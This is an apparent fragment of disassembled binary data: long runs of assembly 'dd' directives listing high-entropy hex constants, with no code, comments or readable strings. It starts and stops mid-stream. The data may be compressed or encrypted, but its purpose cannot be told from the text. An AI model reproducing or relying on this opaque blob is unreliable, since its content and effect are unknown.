74ECD77Ch dd 12147837h, 0E99A1CE7h, 206093BDh, 81531AFh, 0A5D82C0Ch dd 0A99F950Fh, 934F2098h, 905B381Bh, 53F0BF43h, 0C93ED99Fh dd 0E991225Fh, 8220FF5Bh, 521F32EBh, 0C62D7830h, 51294450h dd 805A0D8h, 0DE59DC82h, 7ADD0330h, 78613416h, 52F066Ch dd 0A03A5CC1h, 2D51F81Eh, 1DA0107h, 0ED6B83A7h, 0AA42BAh dd 459DF53Ch, 0E93133D6h, 3D419EB0h, 45A1ADCh, 8701C383h dd 791FC15Fh, 13683651h, 0A2371DC7h, 2F3FBA83h, 0F06C5820h dd 43CC6816h, 6F1969F3h, 32C28DCEh, 22327B35h, 0E1662628h dd 162A3309h, 2298FB60h, 797E13B9h, 80431635h, 9F93BDF8h dd 0FC75FC25h, 0FAE497C0h, 0F5090D64h, 953C705Dh, 210AB9D0h dd 8A89E9D5h, 0EE604692h, 284F26BBh, 0BDBE3EE3h, 0EE3D0284h dd 29B3580Bh, 4F14C8Bh, 33685BDFh, 0BF7DD169h, 0EAB18086h dd 0E19416EFh, 24D07D89h, 87B45CADh, 40814FD7h, 38D8C24Ah dd 2485E5B5h, 0FFBE09F9h, 0C9D57BDFh, 44F5FB55h, 24A61229h dd 5B010F44h, 0D2BBF2CFh, 936A3BEh, 0F5FF12E1h, 230BC87Bh dd 0A572EB6h, 0C1AD9C3h, 0BC4EC029h, 4FE3BEAFh, 94FDD3C9h dd 0FC015E5Bh, 3752068Bh, 3E8B7CC3h, 2C60F8E9h, 553B8FBAh dd 0F0EC6C5Eh, 0C7BD324Bh, 0B1C6737Fh, 8116FC84h, 0B0C2EFC3h dd 97EC90E2h, 0F1F1954Bh, 0DA047700h, 97D731ECh, 544E2D7Dh dd 0AAFA45DCh, 55CB8B34h, 0C3012B40h, 41C8E916h, 400E83B4h dd 0C8B05FB5h, 34BF720h, 80DDB450h, 13DD93C4h, 9E2FF8BAh dd 0BE19613h, 8865016Bh, 7BD22E5Ch, 583BD9B9h, 0A6AC152Eh dd 37F60193h, 3F31CB4Bh, 0E9557880h, 0ED055CA8h, 0D27CF8A5h dd 37FA2B17h, 367F83F8h, 7DB09D06h, 4EBEE886h, 2D34C16h dd 0F4E280B6h, 9207F98h, 0F00BB878h, 0E98797AEh, 0EF8BE580h dd 0DD087C49h, 0A566AD90h, 85DB5A81h, 0DC9E13BBh, 0EEB95C49h dd 9618F727h, 7A5B84E9h, 571AEAF3h, 0ED74F01h, 9666498Ah dd 0E9505CA5h, 0F1DA021Fh, 2F29EEA6h, 76807EF2h, 8155CE1Dh dd 116AE104h, 0F9AB752Ah, 9898866h, 53F4D95Eh, 58A269EFh dd 0BB5D9D83h, 0F30D4C11h, 5BBB804Eh, 5A5B6852h, 0CE2633ABh dd 7E1B26D9h, 43E22BCh, 9E45B67h, 0DD9723C6h, 0E9864095h dd 0E038463Dh, 0C38014D3h, 9710BBD5h, 0C01E769Eh, 524B07EFh dd 242E10B0h, 44313D19h, 41F7C992h, 782092AFh, 6293E970h dd 1E809F8h, 90330452h, 0AE0C16ABh, 60443568h, 6857223Ah dd 0AA2709ACh, 5AE3564Ch, 4F03FB5Eh, 3A656E9h, 0D2B850A5h dd 0EBD437BBh, 1BAAB4C4h, 39C61896h, 278F29F9h, 45B5C07h dd 0C0531166h, 76B11FE4h, 0D1012C16h, 0C4844AA8h, 0E70A342h dd 0D2C2606h, 0E63B2731h, 99A048F1h, 0FD4863ECh, 671F17EFh dd 9919BF72h, 0B03A087Eh, 44272D64h, 58367E46h, 40BD4257h dd 4EE9C1DCh, 0F6E40771h, 150572D4h, 0FDC83AF5h, 2FBA9945h dd 94D2470Bh, 36058C5Fh, 0D08F31Fh, 2A0D3280h, 9C74293h dd 493A6861h, 648155Bh, 0FBC775A7h, 5AB8AF34h, 153CD26h dd 5BE85078h, 24AF2E59h, 9AEA826Ah, 45927E55h, 35BF43FCh dd 9582F08Ch, 0C05362DFh, 2C30AB57h, 0E14A9Fh, 0B722059h dd 78B0F901h, 5BD90888h, 10F95F4Bh, 0CDD51A41h, 0FFC1166Bh dd 87FD4860h, 4064FEEFh, 0FE3C5BEDh, 575018C0h, 90D8F722h dd 8AE84B97h, 0C8C62F24h, 0B50BE9E8h, 0ABBE2504h, 0B6841DD4h dd 0CBE5F3AFh, 77D8423Eh, 775AD5F4h, 0F48EB17Ch, 0CB7A38FEh dd 0D0730F6Ah, 41855057h, 0D930BAF8h, 0C42F0268h, 0BF09CC5Dh dd 44558962h, 97F04A88h, 0ECBBE17h, 0E0030249h, 0DF95AD88h dd 0B6D019ABh, 5DB9660Bh, 613FC1Fh, 240E42E9h, 41186813h dd 0AF17EAE3h, 0C134498Eh, 6917E5FDh, 5738E857h, 563CC98Ch dd 0BDE3DFD4h, 90575866h, 0EF00FF4Fh, 9B15AFF7h, 0C2D4971Eh dd 0C3205659h, 0CE4412B4h, 0E6FC0378h, 5210C44Dh, 0C118924Bh dd 0CAF7F6E3h, 72885280h, 9044F1E6h, 0E916A28Eh, 0B83240E0h dd 49251F02h, 625DA1F4h, 9EC05AE7h, 5EDE5B3Eh, 24F0CB39h dd 6884777Dh, 0DD996A15h, 0CD41D66Eh, 875AE97Bh, 0B8D3225Eh dd 0A5F5D64Fh, 93B9BA2Dh, 0FF5A6565h, 4F30E429h, 193A3F5Bh dd 5EF5825Ah, 915A0270h, 9A042AE2h, 0BB17AD7Fh, 1A04AEEDh dd 850228F6h, 93E3EDDCh, 40E99505h, 0B504FDA3h, 0FF66DF18h dd 0F5C3B380h, 0C52D4BFCh, 26B8AC42h, 24053505h, 58C01136h dd 2D2B35C2h, 9D7843B9h, 0D9B9A05Eh, 16018184h, 91C2BEFh dd 2913DBE9h, 6812010Fh, 0D5382AF4h, 5D7C7C4h, 0B99D0433h dd 57423B41h, 0B8FB9407h, 0DE2A17FEh, 19A66C05h, 600C29BEh dd 4697E58Ah, 81D2B5DBh, 77FE594Fh, 3431F204h, 58BD49E6h dd 4B726794h, 3D73FB19h, 443798BDh, 138DBF16h, 0AC85149Fh dd 1B885B09h, 8FD4C65h, 4EEB462Ah, 0E2E9D005h, 0C62553BEh dd 13615819h, 0FE8F71B7h, 0D7A82D12h, 1CE69F10h, 328E2D5Bh dd 0E8D100C9h, 3A37350Dh, 0BF873BD9h, 9056EA7Eh, 1C2D0690h dd 573F98E4h, 0DEB0DAFCh, 0C1EC4AE9h, 0DD7DB1B6h, 0BE438C6h dd 0FF885A66h, 2ACD7810h, 0F5402EB4h, 0F7FE5F73h, 40E7816Ah dd 14503E1Bh, 0B5D74AEDh, 0BC7ABE1Dh, 30E917C3h, 0ADBB8FC4h dd 0DEE9B094h, 89AA9428h, 0EC5E5432h, 9ACC44C9h, 25783E8Ah dd 1C557225h, 0CD3FAAFBh, 996889A0h, 4F4E667Dh, 0BD1F825Eh dd 97F0D87Fh, 0DD2DA771h, 57FA5425h, 2463ADF0h, 4202D455h dd 0C07E3241h, 2D242029h, 161157Bh, 2ED3D493h, 5CAC0995h dd 454D0995h, 4E0E71FCh, 18FEF381h, 19C412D1h, 7170DA2Ch dd 952C9B00h, 6207E901h, 73689A3Dh, 84FA6DECh, 0C024D35Eh dd 5E1EBDBFh, 8D52CD24h, 58EDEBEh, 0F910E957h, 0D42337BAh dd 9EDDF96Eh, 19664B89h, 0B1E455CFh, 5626261Bh, 0B0CD0120h dd 2E275E20h, 7800F8FCh, 0E9166D5Ah, 6BB70944h, 2A33B9CEh dd 60939D2Ah, 233FAC02h, 0EE81010Bh, 16490F19h, 8EF506Eh dd 35D8AB4Ah, 410705F6h, 536BB0h, 0BA12FB9Ch, 0E139BB10h dd 315B0C2Ah, 3C3A0EBh, 0B68BF9D4h, 66E6DE21h, 913FDA7Ah dd 0E5CE8292h, 7F5FD95Dh, 0C6003266h, 49403BD7h, 0B8207789h dd 0B36F9D05h, 0BC01F4ADh, 0BAE983CEh, 0A0D2818h, 0FE1814E4h dd 4EB09055h, 0A3BBF82Eh, 10C5D478h, 899ECAA8h, 0E6FE231Bh dd 468C580h, 0FAF731F5h, 0CD344FCEh, 0E5318CFAh, 0B2491626h dd 82415F15h, 5CF0B4D5h, 5D9525B8h, 0D2523E87h, 0DB682479h dd 802F15B6h, 413658C6h, 43F33E46h, 4028307Bh, 2DE8292Ch dd 3745DA0Fh, 43E18517h, 688248ACh, 6EFF46EEh, 0AC75204Dh dd 0A739B53Bh, 68088147h dd 0A22B09DAh, 0BF60964Dh, 99EBD1E9h, 7A52025h, 14FD7B7Ch dd 418CC081h, 0B3B865ADh, 74027DF4h, 8EE95313h, 280C0B10h dd 631FCDF4h, 0A45C610Fh, 0C07EF6EDh, 299A07F0h, 0E91255BAh dd 3CAA2890h, 0C31C8049h, 2712E90Ah, 12B31AD0h, 0E17A5E21h dd 99F65510h, 3CB40122h, 7F580202h, 533FF006h, 7191595Eh dd 0C9383C84h, 0EB5D6887h, 58762E27h, 0D6E0890Bh, 8516CEA9h dd 5AA4B861h, 31A23390h, 0F8086015h, 71ED414Eh, 0EB1387B0h dd 0A0C65B6Dh, 0FD088228h, 4D769E44h, 52D90F25h, 95B420A5h dd 0C8015E1Bh, 0FC62D9D5h, 55D7DF52h, 0AB9FDD71h, 5FB0182Fh dd 0CBDD824Dh, 0EC11C9A3h, 5AF82224h, 3251F92Dh, 0DD05605Fh dd 0D87BD990h, 4FD9F680h, 0C6C5B186h, 57199A22h, 71501718h dd 849865E4h, 0A60F341h, 0DD63126Ah, 7BD70162h, 212B5EB7h dd 31542EFDh, 3D904BF2h, 95EFB6E9h, 40A647A2h, 0E49AEE91h dd 0DCB77FA2h, 0AC07962Ah, 0F0E68046h, 502154D7h, 95A4EBD3h dd 4F338C8Fh, 9D250C0h, 0E4A14746h, 0FE6F1808h, 0F6598F9h dd 25C2C254h, 0A2145C9h, 198329B7h, 0C1AB22BDh, 0D6EEE1FEh dd 0DC95A40h, 0D84698B7h, 1B7D8278h, 0F8AAD8D6h, 661F9FEh dd 62DAF3Bh, 2C28FE2Ah, 73902A68h, 0FC50B745h, 0C122B7C9h dd 2EA6BF38h, 0F8872589h, 297FE256h, 81844604h, 0CFFB6BC5h dd 96711269h, 474028E3h, 607F2440h, 11100BB8h, 0FC47CBE9h dd 88213ABh, 1C3508E9h, 8905D8A5h, 0B5FF5495h, 0B0137ECFh dd 8939C1BAh, 16F162EFh, 5FF45F08h, 9391246h, 32F6FB72h dd 11410C41h, 0B23A58A0h, 2B68CFF9h, 610A595Bh, 8C2DB2E9h dd 15401225h, 0D73A644Bh, 9EA1BAEAh, 842AD3EDh, 0F4ADABD4h dd 0D079EBA4h, 0EF3C5A93h, 91C16488h, 133410CDh, 2DE9C58Dh dd 7BD1707Eh, 274E2EC8h, 38565216h, 0A5698504h, 4874E610h dd 3980913Fh, 0B865C44Ch, 2FCE8309h, 69A2D599h, 0B303ECD7h dd 0F83610A8h, 1101806Dh, 97412A3Eh, 0CE178860h, 0F2811A00h dd 0CF0FF82Fh, 0E9D10901h, 29D21FEBh, 285C080Bh, 0EC0896Ch dd 0E707826Eh, 0E5D8F52Eh, 7EB3BF38h, 0D4F3E93Eh, 900EE5ACh dd 0C03ABA32h, 4A1102EDh, 0FA0CC730h, 0AAF1F4F0h, 64BB1384h dd 8C6BBD6Bh, 9754FB35h, 3214D902h, 9905A7CAh, 8967EC12h dd 0BB23A096h, 18311D9h, 2DE3811Bh, 607EEC72h, 71186636h dd 240C3560h, 8D43273Bh, 0BA17E6F4h, 13A55FFAh, 0D2318C4Eh dd 0E72A1448h, 7D1247D2h, 5A4E6446h, 842F02E1h, 0AB97BB9Dh dd 12BDE961h, 822F2ECDh, 155EF51Fh, 4641FF49h, 0FFAD2F59h dd 1C875E82h, 589C565Dh, 714E7968h, 2D192930h, 5D022866h dd 6DD602CEh, 8FE94937h, 4A166EDEh, 35471D0Ch, 4F02FAE1h dd 1DBED019h, 5117F34Ah, 38565431h, 0C68D41Eh, 0AABE7D9Ch dd 0F21FED25h, 0C9DE9075h, 0E4407AC9h, 673EA19Ch, 6EFC77A5h dd 0F44A7402h, 0F8CEE21Fh, 0B47F952Ch, 75A78AE4h, 71560A5Ch dd 4FE9B59Fh, 290A74B2h, 0B72F9BFh, 0D6D93E1Eh, 2DE9ADCCh dd 567999D6h, 0FEFCBB85h, 9263F2FEh, 4B6BCABEh, 4D847334h dd 4D877E84h, 32105266h, 0C1BD3B11h, 42F60244h, 88283692h dd 0E32244D8h, 0B85DECD1h, 35751FB4h, 18FCEF26h, 184CB9Eh dd 0D6FF7C85h, 0E92508BCh, 0BA1FC09Dh, 0BF2A1D29h, 0AAC82766h dd 0E82F7BD0h, 0A0B97659h, 170CD008h, 0E0F5286Bh, 0D203C73Bh dd 0B78AFECFh, 0EF10E058h, 0DEFD2568h, 66225455h, 58652726h dd 0ECCBB4D6h, 2B0318FAh, 8E3EC44h, 395F58BFh, 74626B5Ch dd 39E6C7AAh, 50A7B601h, 88B7B252h, 12F7822Eh, 0E825EF64h dd 58B6D664h, 18C918AFh, 0A96C82B2h, 2640A2Bh, 4CC73519h dd 0F8330D6h, 4367C74h, 2665160Ch, 7D9AC161h, 0E91BD820h dd 12FB3D24h, 60F8300Bh, 17D8F67Ch, 0F0889E2Ch, 2C97C2ABh dd 28BF62E8h, 4FFF5E2Ah, 0CAF8D68Bh, 2F53BAC4h, 0BBFE3005h dd 5F7CC08Bh, 602CFBF1h, 0F67B0EC1h, 52A3FED1h, 2C0942B6h dd 541343E9h, 77ADC014h, 75FC2A14h, 3CF559h, 3AF18141h dd 0BC296405h, 2AE981F4h, 0D44C140Dh, 3F944969h, 349D09Fh dd 3EDF73AEh, 5B25E7C9h, 0D4521B7Ch, 72B48B84h, 3E0B155Bh dd 70806617h, 0E547D303h, 3EA1E953h, 0FB6A17AFh, 0CB481C8Bh dd 0F69F5F22h, 0A4E9866Ah, 415A4C6Ch, 3E5EB981h, 0A6AE8004h dd 41F3C2Dh, 0E539F231h, 96528720h, 512B7600h, 0F8532F40h dd 0F1F650B0h, 7FC27731h, 896AEFCEh, 34BD6BB2h, 32EA864Bh dd 0F385BD4Ah, 0CFD621F7h, 1717486Dh, 1B346FCDh, 0F797C2AFh dd 58B35302h, 2FD1737Fh, 1D6378E3h, 0CBDF1DC2h, 6225EB81h dd 42A64C83h, 50B095A2h, 0C9641D5Eh, 0FFE616AEh, 35C67DFh dd 0C020BE04h, 0AB04AA53h, 7DE22133h, 0DF577F7Ah, 0D4ED89D5h dd 96003151h, 5124939h, 0D1590222h, 0DCAE956h, 43C718D7h dd 0CA2F83DFh, 0BC8E7F99h, 72CB58AFh, 525DD860h, 13FD5358h dd 59B9347Ch, 0DD5F803Bh, 4B292BD7h, 0B22D9A37h, 57C207F4h dd 2C11A6Dh, 0D55207F3h, 2CF98BF2h, 4BE6BA02h, 0C488AA5Ch dd 0B496409Bh, 0E1142670h, 378F5B58h, 896FB5C2h, 0D7F3A488h dd 24FFADFBh, 5B937253h, 0EB877645h, 0E99C9CFBh, 5CA0472Fh dd 0B968C1B0h, 0CDA27A03h, 627BE1D7h, 0B8A04B9Eh, 381E01FEh dd 0E9685E0Ch, 1F32B15h, 0BBDC529Fh, 0CB3BAFF1h, 18DA107Eh dd 9479312Fh, 4C6008h, 0F125E8B9h, 0C93D8112h, 616920Ah dd 1BBBAA12h, 0D0C406ABh, 7382533h, 0CA2047B8h, 0B95A4A2Dh dd 0FC6717A7h, 0BF2F61D9h, 0B97ED829h, 82FFA53Ch, 820BB212h dd 7CA8D95Bh, 805D4B77h, 0EE44AF6Bh, 0A759009h, 0A9D17402h dd 0E16D12ECh, 0F1928B09h, 24AEE45Eh, 4237328Ch, 0C8560E44h dd 0C3D3758Fh, 0EBFA01E5h, 0BCD35F70h, 82ABA5A1h, 4EDD7D1Fh dd 8AB8B773h, 89B74CE9h, 12907D6Dh, 0FE4AF195h, 73869CFFh dd 0FF2D35B6h, 314FA516h, 0CDB398ABh, 882E90BAh, 685882CBh dd 5B6B654Ah, 80A1903Ah, 0D19DCEEDh, 0D3F70B6Ch, 6334474h dd 87104C04h, 11532A04h, 0C202AF0Fh, 0FF28B5E9h, 0EE2D67E6h dd 78817471h, 6C9D35B3h, 0CBF3979Dh, 0E27E904h, 0E854CCABh dd 0B619889Eh, 0F034D195h, 532A512Eh, 13309771h, 382013FDh dd 1686A89Eh, 8B69928h, 66FA3A27h, 2C05EE05h, 78B541C8h dd 0E7040805h, 68024E14h, 0B579133Dh, 0C64E8492h, 14A4DC50h dd 0A6E6D18Fh, 0BF346A20h, 523EE540h, 8942F916h, 340826EAh dd 0FB131F5Bh, 48901469h, 572D2D61h, 0B35EC884h, 2BEB5193h dd 2AD9C09h, 0BAB0A81h, 0E48D2A04h, 6F09C7D7h, 0C4568366h dd 76099D4Ah, 20B93456h, 5AEBE097h, 0F5C6EC66h, 195BB3BBh dd 10665DE9h, 29E1B37Fh, 842F42Ch, 0DD21EA47h, 7E9F3D6Ch dd 0EF31C25Bh, 327C9C77h, 0D8B5CBD1h, 7A972D61h, 0C55EB8CEh dd 0FB7680D0h, 10099748h, 0B05EB668h, 2576EB98h, 48FF303Bh dd 7B06451Bh, 0E043603Ch, 578269Ch, 0E5ACE913h, 5ECACBFBh dd 133E15F1h, 68F47C55h, 0C7466931h, 6606DEABh, 200CC4BFh dd 997CE23h, 0B9520073h, 15CF948h, 0BA52DEF7h, 0F8E71FDBh dd 990D609h, 0A3B7EF5Eh, 76A04D7Bh, 0D256B34Eh, 54B22FF8h dd 2F676C1h, 7C1F415Fh, 0D31DCA75h, 1636F73Ah, 0D747B5F8h dd 0EC3181CCh, 7E60081Ch, 5C164FEh, 0B88AC5C9h, 0B1FD5B10h dd 0C3F3ABB4h, 86139404h, 0E32DC079h, 0C58D00Fh, 3E14C21h dd 0A3714F1h, 73A0B762h dd 0FCB02BDEh, 0F109976Ch, 0E942CEDBh, 0F7F45D90h, 21BC97BBh dd 0B8C058E9h, 22C65877h, 0C8DCDE9Fh, 4F6C01FCh, 28094C4Eh dd 35CA391Ah, 95AF08D1h, 0C5B68169h, 7E713B36h, 0CFC8C188h dd 0E955C159h, 3BFFC9B7h, 0E9F83CBBh, 38332126h, 1548CF8Ch dd 0BDC2B5F4h, 4E88E7D9h, 0D4843EC4h, 0B9699444h, 18F1034Dh dd 17FA3DEh, 1237966h, 21CB2908h, 0F3081030h, 0BCDF595Eh dd 0CBB4DE3Dh, 2CD05F5h, 0BF0547B9h, 4BE93FF0h, 0BD0680CCh dd 552F1AFBh, 961E7E28h, 0BE73C5E8h, 28E9823Ch, 27D2F909h dd 8472D488h, 10B8C925h, 31C33102h, 1A2E8F66h, 18505EEh dd 0FC4FE18Eh, 0C1915B48h, 75C2254Dh, 0FC6929DCh, 515B880Ch dd 49E6FE2Dh, 9E2F8C02h, 0F50B660Ah, 9185718h, 0EE88FE2Eh dd 0C675CE8h, 20033E6Ah, 895A2408h, 0D3F62F04h, 60EE0597h dd 5A08F849h, 42E0445Eh, 3B852A68h, 1829010h, 21B97270h dd 0C8802D48h, 0E9B578D8h, 0B6689FE9h, 0AA72B57Dh, 501E0575h dd 6A87020Ah, 0F0EB1958h, 78227h, 7D43FFEBh, 56D14D65h dd 0FC89200h, 9AE7E937h, 0B3B484BAh, 62A7D92Dh, 6802F992h dd 0F84EF55Eh, 5F091600h, 98371FB8h, 0F1294F8Ah, 69B41873h dd 34B880h, 350A230Ch, 4A4CF6A1h, 0EF419598h, 40DCA630h dd 5CFE8064h, 28012C01h, 0BCB652F0h, 1245C6E8h, 0EA2B6EE9h dd 0D92727F2h, 0EC40CB62h, 782D1781h, 75F84215h, 3B28FFC0h dd 0A91F5725h, 84D482CCh, 9E8B8023h, 1728DA0Eh, 0D45D64E9h dd 59A910Bh, 229693Eh, 4C696A12h, 7B386349h, 0FF984D76h dd 3AAD6803h, 40EA0AD8h, 0D7BAECC8h, 655A6413h, 1A1FBE09h dd 0ED647722h, 27ECB624h, 7EBC005h, 6F9343BFh, 0D8814D04h dd 0A6E9D02Ch, 5A58E392h, 451E0E0Ch, 6B08BF25h, 809426A4h dd 715FBF57h, 293B3E3Fh, 0EDF973FBh, 75133050h, 581BB100h dd 0C1779525h, 4FE91A2Eh, 35C1C1B3h, 0E3A25783h, 4E0402E3h dd 365F3C8Fh, 0E78B90BFh, 0AB485E8Ah, 0C1622407h, 7EFC18Bh dd 2F382985h, 4E3FF082h, 0B1DEA084h, 97F23BDBh, 0A5840DD4h dd 1A6FF8Ch, 8686B238h, 8D5F6EAh, 5A5568B7h, 0B1C20980h dd 7F0E1E9h, 33080513h, 2D7BA0EBh, 725D07A1h, 0F4DE277Fh dd 6862ECFBh, 0DB793B25h, 32F225FEh, 6441EF06h, 90C62DAh dd 0D9476385h, 0D62567FEh, 276B0099h, 61E93DD6h, 0B6D3ED4Ah dd 0AF1C4E56h, 0D5DE484Bh, 55E1C02h, 4F5AD075h, 4161EB5Dh dd 71EA6D68h, 48CA91BCh, 0FA988539h, 0BAFCB613h, 7D5F1275h dd 0A1490D22h, 53930228h, 90EEC4D7h, 51AF40B8h, 6468EEA0h dd 1F6E1207h, 29FF4058h, 5AE5290Fh, 0BA43F420h, 6C30F10Fh dd 0E2101D1Bh, 8FF68178h, 7F3004B5h, 0EC92A3A8h, 808073A7h dd 4A30FCF2h, 0A4F4B8D0h, 9D69DACh, 97C99E26h, 679640E1h dd 485C2A18h, 429F003Eh, 5DE91C9Ah, 4C954Bh, 0A536A4FFh dd 1438A208h, 4601AF01h, 1568EED1h, 78E17339h, 0BA98657h dd 55FEEFAAh, 0E2294F19h, 6104D02h, 71B05009h, 7F325C32h dd 6945C253h, 5BE1DA49h, 0CF403F20h, 0F9C9D718h, 672E6F7Eh dd 8FD15DC9h, 9D38551h, 0B151E813h, 0A6B60B00h, 5A25F120h dd 937FCC0h, 0C87C0BE5h, 68F86BEDh, 2D12B90Ah, 7975BCCAh dd 523B5946h, 0FB4052AFh, 0E79522E2h, 6553157Ah, 0E8555CF2h dd 80B454BFh, 0A698CA80h, 0A1D7F430h, 2F5A7BEBh, 2EFC71ECh dd 673E1230h, 46C40DFh, 0C168D16Fh, 0BDDEC7C4h, 1635DF64h dd 16421408h, 4116FF93h, 4EF6DEFEh, 0B34498h, 51C3FE1Fh dd 0EB30BAB5h, 0C044C1BDh, 0B43002D5h, 0C768134Ch, 3F895Bh dd 0B626B08Ah, 0C65C28ECh, 0C3682A43h, 0C1D8F72Ch, 78350600h dd 98ECCAB3h, 0BCC24B62h, 0E7AC3CA5h, 0BAB057F2h, 0BDFC15F4h dd 518C55E0h, 0F73AA017h, 0E5001353h, 49E99113h, 697D82E4h dd 0CD6AC9A3h, 7DF4ADEEh, 0E9173E3Ch, 6DD13A7Fh, 0B707BA20h dd 7900D989h, 1F49A8BBh, 72BD1503h, 0F9F3B0E1h, 0B87EAE34h dd 9AA2E1FEh, 92044255h, 680498F8h, 4E12EE6Ch, 0C67CB3BFh dd 2D5CFE9h, 0CB2833B1h, 0AC405059h, 209DFA48h, 0DD2D5F9Ch dd 30B22570h, 0B72C76FEh, 6BC66884h, 0B4CBCCh, 0ECB2527Ah dd 22E9E7B7h, 9AB8414Bh, 377B4FC4h, 0EC60A082h, 57D0FB4h dd 7B100E0Bh, 20F3F758h, 0A29B9871h, 495E5569h, 4F88BF2Eh dd 2129160Ah, 2DF319D3h, 0BF0DD220h, 0F12029B1h, 4FAC9851h dd 9EFFAD3Bh, 0CAE06997h, 91BF4BDh, 0E8318F21h, 0C6582CDCh dd 0FB7F0EB4h, 10D2296Ch, 580908DDh, 856C3487h, 9027A790h dd 0E76EFED3h, 2D7DC253h, 0E06C565Dh, 13236A30h, 0B5201DB8h dd 43FC9D5Fh, 1122F101h, 36309B57h, 5B6F75F3h, 0ED2D8251h dd 0B0E90882h, 5A68FA68h, 55851912h, 0DB44A5BBh, 0BDBA8303h dd 0D26C4D52h, 8B8D7C95h, 44FE3AD2h, 25E9F070h, 0BCD103D6h dd 0F7552E82h, 6A005522h, 1150128Ah, 4CB8D1FEh, 0DC488716h dd 0DD201BBh, 7F2B8C5Ah, 0F5B07A1Dh, 0A8402AE9h, 12C8E6ACh dd 0F7DD33Fh, 9FCB46C0h, 6D773FC2h, 0FCDC27B9h, 0D6012C54h dd 0CE81C075h, 627A613Eh, 0D66A50BFh, 638D0406h, 45BB13h dd 24E31631h, 0AD604F25h, 0F7732966h, 31055E62h, 0E83141FBh dd 9A633C21h, 0DFC8BA4Eh, 9DE77F98h, 0D6272511h, 3012000Bh dd 0A014D73Fh, 3B7D0BE7h, 0F5025068h, 60FBDD82h, 0E64B5857h dd 900A12CEh, 2E80EE36h, 4FAD4A05h, 12CEC41Ah, 19088B07h dd 3180FC0Ah, 0EF7B893Eh, 0E60A349Ah, 292C8B3Ch, 59E57D25h dd 0DCB0E317h, 0A67217D7h, 8061F878h, 0FC75ED4Ch, 965E2FE9h dd 924A5DE6h, 1A59971Fh, 32825CFDh, 67EF5E5Ah, 8231F87Fh dd 0EA447708h, 0FF14F597h, 0DBCF683Fh, 0B49AB8B6h, 68E19671h dd 39730E28h, 12264B50h, 915BE918h, 0BF28C797h, 875DE113h dd 0A6A843Dh, 2007EA7Ch, 525CBEAEh, 26B265D7h, 102B1AD6h dd 0D4081E54h, 565A15BBh, 94D480CEh, 0F4D77F12h, 221E3BE5h dd 0CAD32ED0h, 5525DAB8h, 3CC48873h, 0DCA9E109h, 640FE0D5h dd 137BB58Bh, 71A4F30Bh, 0C0DC2D12h, 1A7F9281h, 8C3F3183h dd 2C410D10h, 81E9ED3Eh, 1FE163BEh, 0F05CDA19h, 84316B4Ah dd 17E3F2Bh, 0D4CE06CBh, 4A336CC0h, 65A282A4h, 2CDA8DA8h dd 5002538Ch, 32436857h, 0BC00DD06h, 75F8D3EFh, 0BEF0B84Bh dd 42A96F4Dh, 0C7FB01C1h, 3F24D303h, 87036B5Bh, 0BD4C152Ah dd 0DC31D1F5h, 5701F252h, 8D9003EEh, 0CD16854Fh, 2B0A9DFAh dd 7EB1FF02h, 0CAADC0B2h, 0D5883359h, 97A3E945h, 7AEE3B76h dd 0F7D3429Dh, 0D9B69F1Eh, 5D53E1C2h, 0FA21F565h, 78CBE962h dd 5E5824B4h, 7B4A074Dh, 0E2FD3B4Fh, 2080BD9h, 0D7CBF887h dd 52B77D7Ah, 5B3B98F0h, 0BF9C8419h, 257ED4E7h, 4B7C6EA5h dd 84B07467h, 0B54C311Bh, 48C4BB46h, 0FC16ECEAh, 0D0B872B2h dd 5A66D31Ch, 413DDC2Fh, 3E186368h, 2215DDEh, 5119F72Ch dd 305DB06h, 0B450C3CEh, 0AAE304AFh, 0E9B55060h, 3E57AC0h dd 6866CDFEh, 93D21FF7h, 0D1A62B55h, 76E9E3D0h, 6BD1EB4Ah dd 523A39F9h, 0B881AA9Eh, 27ED301h, 8138E987h, 77DEA977h dd 0B15E04ACh, 0D54E2026h, 7E00F712h, 2B324C9Dh, 87C563E9h dd 0ADB9CFB1h, 0B230748Dh, 5349857Ah, 0CA891288h, 0B0B76BB8h dd 1C36B48h, 73DE0CC1h, 0BC7A07E8h, 20181739h, 42D05F92h dd 97BC55Bh, 45576A2Ah, 985D2FA0h, 5A20E9D7h, 0AA62BAEEh dd 0ECFC55BDh, 38A07792h dd 25CB2780h, 6017DA6h, 5C00C3Bh, 3FC16804h, 5750F232h dd 8857C040h, 3080D440h, 9F06BFCCh, 0ECF0DCF6h, 0E4FEF23Dh dd 0ACEA150Ah, 35D12250h, 4D5DEDCh, 826B7D02h, 5DDA839h dd 0DDEE558Bh, 29FF3A0Bh, 8DD86BF7h, 0CA6C49E9h, 4868520Fh dd 5A0B53A2h, 7649E657h, 0B85002D1h, 59ECEF9h, 4158AC41h dd 3ED5393h, 3A54B157h, 8211E37Fh, 4623F968h, 16190E6h dd 26484EE4h, 341EE95Fh, 0D6BF2D59h, 521E3D4Ch, 58A6BDD6h dd 479C4AB5h, 897629C5h, 61BB53C0h, 336B5809h, 0FEEA2D78h dd 0D9071B7Fh, 0D169B9B1h, 13725410h, 24EA5E5Fh, 0EAB00409h dd 0AA1202h, 8725C55Fh, 9B54760h, 0AB48FF36h, 53278EBCh dd 0C2C3225Bh, 6A18F557h, 13F65452h, 0B428D0B2h, 9251F226h dd 0B00142EDh, 2845855Ch, 9A8ACF0Bh, 7400FFC6h, 0D408C7F2h dd 5F325A67h, 87D9CA97h, 0B69212B7h, 2562E184h, 93F2313Bh dd 0C6810060h, 417526FAh, 68DE05FFh, 0C5D1ABD4h, 2C7A6188h dd 0E3A35298h, 531F0DCh, 0C690F509h, 0D88D85DAh, 0DD59D04Bh dd 3D33A5E0h, 173F25BFh, 0EAEA12EBh, 0F95E33CEh, 0DCB9D2C7h dd 51834F94h, 0A7EE1968h, 4F747A20h, 675DA25Dh, 9BF35E39h dd 301E1C37h, 0ACD4AFCBh, 8050834h, 69BCF1E9h, 0E1CBAA4Fh dd 20877125h, 0FF30C4B0h, 16F0BBB1h, 418D77Bh, 12F5CF60h dd 1D52F3E0h, 3E0CB16Ah, 0A28EA396h, 0EC730F4Ch, 842B6A12h dd 49820198h, 2F5B8181h, 4DF161BCh, 0B3903ED9h, 28D02AEDh dd 0E29E427Dh, 0BE82254Ch, 6720E878h, 33749FB5h, 7D785F72h dd 0ED9A2B00h, 0E9CD01A6h, 8C544EC6h, 0E340BC42h, 23C35709h dd 147DE90Ch, 0A4906620h, 7E98EF2Fh, 109B4A47h, 0F5810111h dd 1E97080Eh, 509D23Ah, 9C1510D5h, 6C190992h, 7659E889h dd 276A53C3h, 0D0D4EA4Bh, 0B6D762B1h, 114252Bh, 9B4E9EEBh dd 